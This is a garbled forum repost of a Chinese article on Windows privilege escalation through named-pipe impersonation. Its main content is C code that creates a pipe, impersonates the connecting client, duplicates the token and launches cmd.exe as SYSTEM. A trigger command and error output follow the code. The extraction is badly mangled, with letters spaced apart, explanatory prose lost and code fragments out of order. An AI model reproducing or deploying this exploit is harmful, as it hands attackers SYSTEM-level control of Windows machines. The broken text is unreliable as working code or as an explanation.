[7105] 2020-11-30_利用命名管道进行权限提升

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-17
2020-11-30_利用命名管道进行权限提升 E   2 0 2 0 - 1 1 - 3 0   使 N o . 1 N o . 1 W i n d o w s   L i n u x W i n 3 2   S D K A n o n y m o u s   p i p e s   N a m e d   p i p e s 访 P i p e   S e r v e r P i p e   C l i e n t S e c u r i t y   D e s c r i p t o r   .
W i n d o w s 线 使   S e c u r i t y   I d e n t i f i e s D A C L S A C L D A C L S A C L 访 A C L A c c e s s   C o n t r o l   L i s t D A C L D A C L 访 A C E A c c e s s   C o n t r o l   E n t r y 访 W i n 3 2 N U L L   D A C L 访 A P I   S e t S e c u r i t y D e s c r i p t o r D a c l 访 S e c u r i t y   D e s c r i p t o r s N o . 2 N o . 2 A P I I m p e r s o n a t e N a m e d P i p e C l i e n t ( )   使 S e I m p e r s o n a t e P r i v i l e g e 使   w h o a m i   / p r i v   使   L o c a l   S e r v i c e N e t w o r k   S e r v i c e S y s t e m S Y S T E M # i n c l u d e   " s t d a f x . h " # d e f i n e   S E R V I C E _ N A M E   " E l e v a t e " # d e f i n e   P I P E _ P A T H   " . p i p e e l e v a t e " i n t   m a i n ( ) {     c h a r   d i r e c t o r y [ _ M A X _ P A T H ] ;     c h a r   s e r v i c e P a t h [ _ M A X _ P A T H ] ;     c h a r   s e r v i c e N a m e [ 1 2 8 ] ;     c h a r   r e c v [ 1 0 2 4 ] ;     D W O R D   b y t e s ;     b o o l   c o n n e c t e d ;     H I N S T A N C E   h i n s t ;     S T A R T U P I N F O A   s i ;     P R O C E S S _ I N F O R M A T I O N   p i ;     H A N D L E   t o k e n ;     H A N D L E   n e w t o k e n ;     H A N D L E   p t o k e n ;     H A N D L E   n a m e d P i p e   =   C r e a t e N a m e d P i p e A ( P I P E _ P A T H ,           P I P E _ A C C E S S _ D U P L E X ,           P I P E _ T Y P E _ M E S S A G E   |   P I P E _ W A I T ,           P I P E _ U N L I M I T E D _ I N S T A N C E S ,  
        P I P E _ U N L I M I T E D _ I N S T A N C E S ,           1 0 2 4 ,           1 0 2 4 ,           0 ,           N U L L         ) ;     i f   ( n a m e d P i p e   = =   I N V A L I D _ H A N D L E _ V A L U E )   {         p r i n t f ( " [ ! ]   C o u l d   n o t   c r e a t e   n a m e d   p i p e n " ) ;         r e t u r n   0 ;     }     e l s e   {         p r i n t f ( " [ * ]   N a m e d   p i p e   c r e a t e d :   % s n " ,   P I P E _ P A T H ) ;     }         s r a n d ( G e t T i c k C o u n t ( ) ) ;         c o n n e c t e d   =   C o n n e c t N a m e d P i p e ( n a m e d P i p e ,   N U L L )   ?   T R U E   :   ( G e t L a s t E r r o r ( )   = =   E R R O R _ P I P E _ C O N N E C T E D ) ;         Z e r o M e m o r y ( & s i ,   s i z e o f ( s i ) ) ;     s i . c b   =   s i z e o f ( s i ) ;     Z e r o M e m o r y ( & p i ,   s i z e o f ( p i ) ) ;     i f   ( c o n n e c t e d )   {         f o r   ( ; ; )   {             p r i n t f ( " [ * ]   W a i t i n g   f o r   p i p e   c o n n e c t i o n . . . n " ) ;             Z e r o M e m o r y ( r e c v ,   s i z e o f ( r e c v ) ) ;             / /               R e a d F i l e ( n a m e d P i p e ,   r e c v ,   s i z e o f ( r e c v ) ,   & b y t e s ,   N U L L ) ;             p r i n t f ( " [ * ]   R e a d   % d   B y t e s :   % s n " ,   b y t e s ,   r e c v ) ;             p r i n t f ( " [ * ]   A t t e m p t i n g   t o   i m p e r s o n a t e   c l i e n t n " ) ;             i f   ( I m p e r s o n a t e N a m e d P i p e C l i e n t ( n a m e d P i p e )   = =   0 )   {                 p r i n t f ( " [ ! ]   E r r o r   i m p e r s o n a t i n g   c l i e n t n " ) ;                 r e t u r n   0 ;             }                         i f   ( ! O p e n T h r e a d T o k e n ( G e t C u r r e n t T h r e a d ( ) ,   T O K E N _ A L L _ A C C E S S ,   F A L S E ,   & t o k e n ) )   {                 p r i n t f ( " [ ! ]   E r r o r   o p e n i n g   t h r e a d   t o k e n n " ) ;             }               i f   ( ! O p e n P r o c e s s T o k e n ( G e t C u r r e n t P r o c e s s ( ) ,   T O K E N _ A L L _ A C C E S S ,   & p t o k e n ) )   {                 p r i n t f ( " [ ! ]   E r r o r   o p e n i n g   p r o c e s s   t o k e n n " ) ;             }             i f   ( ! D u p l i c a t e T o k e n E x ( t o k e n ,   T O K E N _ A L L _ A C C E S S ,   N U L L ,   S e c u r i t y D e l e g a t i o n ,   T o k e n P r i m a r y ,   & n e w t o k e n ) )   {                 p r i n t f ( " [ ! ]   E r r o r   d u p l i c a t i n g   t h r e a d   t o k e n n " ) ;             }                         p r i n t f ( " [ * ]   I m p e r s o n a t e d   S Y S T E M   u s e r   s u c c e s s f u l l y n " ) ;             i f   ( ! C r e a t e P r o c e s s A s U s e r A ( n e w t o k e n ,   N U L L ,   " c m d . e x e " ,   N U L L ,   N U L L ,   T R U E ,   0 ,   N U L L ,   N U L L ,   & s i ,   & p i ) )   {                 p r i n t f ( " [ ! ]   C r e a t e P r o c e s s A s U s e r   f a i l e d   ( % d ) ,   t r y i n g   a n o t h e r   m e t h o d . n " ,   G e t L a s t E r r o r ( ) ) ;                 Z e r o M e m o r y ( & s i ,   s i z e o f ( s i ) ) ;                 s i . c b   =   s i z e o f ( s i ) ;                 Z e r o M e m o r y ( & p i ,   s i z e o f ( p i ) ) ;                                 / /   使 C r e a t e P r o c e s s A s U s e r   A P I 使 C r e a t e P r o c e s s W i t h T o k e n W                   i f   ( ! C r e a t e P r o c e s s W i t h T o k e n W ( n e w t o k e n ,   L O G O N _ N E T C R E D E N T I A L S _ O N L Y ,   N U L L ,   L " c m d . e x e " ,   N U L L ,   N U L L ,   N U L L ,   ( L P S T A R T U P I N F O W ) & s i ,   & p i ) )   {                     p r i n t f ( " [ ! ]   C r e a t e P r o c e s s W i t h T o k e n   f a i l e d   ( % d ) ,   t r y i n g   a n o t h e r   m e t h o d . n " ,   G e t L a s t E r r o r ( ) ) ;                                         Z e r o M e m o r y ( & s i ,   s i z e o f ( s i ) ) ;                     s i . c b   =   s i z e o f ( s i ) ;                     Z e r o M e m o r y ( & p i ,   s i z e o f ( p i ) ) ;                     i f   ( ! C r e a t e P r o c e s s A s U s e r W ( n e w t o k e n , N U L L , L " c m d . e x e " , N U L L , N U L L , T R U E , 0 , N U L L , N U L L , ( L P S T A R T U P I N F O W ) & s i , & p i ) )   {                         p r i n t f ( " [ ! ]   C r e a t e P r o c e s s A s U s e r W   f a i l e d   ( % d ) . n " ,   G e t L a s t E r r o r ( ) ) ;                         r e t u r n   0 ;                     }                     r e t u r n   0 ;                 }
>     >     >     >   >   便 使 p s e x e c s y s t e m s y s t e m 使 W i n d o w s s y s t e m P S E X E C 使   S e I m p e r s o n a t e P r i v i l e g e   S Y S T E M G I F 使 A P I N o . 3 N o . 3             }             p r i n t f ( " [ * ]   A l l   D o n e . .   e n j o y . . .   p r e s s   a n y   k e y   t o   f i n i s h n " ) ;             g e t c h a r ( ) ;             r e t u r n   0 ;         }     }         r e t u r n   0 ; } e c h o   h e l l o   > >   . p i p e e l e v a t e [ ! ]   C r e a t e P r o c e s s A s U s e r   f a i l e d   ( 1 3 1 4 ) ,   t r y i n g   a n o t h e r   m e t h o d .
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则